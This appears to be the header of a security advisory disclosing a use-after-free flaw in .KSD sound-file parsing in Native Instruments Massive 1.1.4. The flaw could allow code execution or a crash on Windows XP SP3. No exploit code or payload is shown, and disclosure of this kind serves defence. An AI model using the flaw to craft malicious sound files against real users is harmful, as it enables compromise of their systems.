# Title: Native Instruments Massive 1.1.4 KSD File Handling Use-After-Free Vulnerability
#
#
# Vendor: Native Instruments GmbH
# Product web page: http://www.native-instruments.com
# Affected version: 1.1.4 (R1901)
#
# Summary: MASSIVE is a sonic monster – the ultimate synth for basses and leads. The
# analog concept belies the contemporary, cutting-edge sound it generates. The high-end
# engine delivers pure quality, lending an undeniable virtue and character to even the
# most saturated of sounds. The interface is clearly laid out and easy to use, ensuring
# you will have MASSIVE generating earth-shuddering sounds from the very first note.
#
# Desc: Massive suffers from a use-after-free error when parsing sound files (.KSD)
# resulting in a crash. The user input is not properly sanitized which may give the
# attackers the possibility for an arbitrary code execution on the affected system.
# Failure of exploitation may result in a denial of service scenario.
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
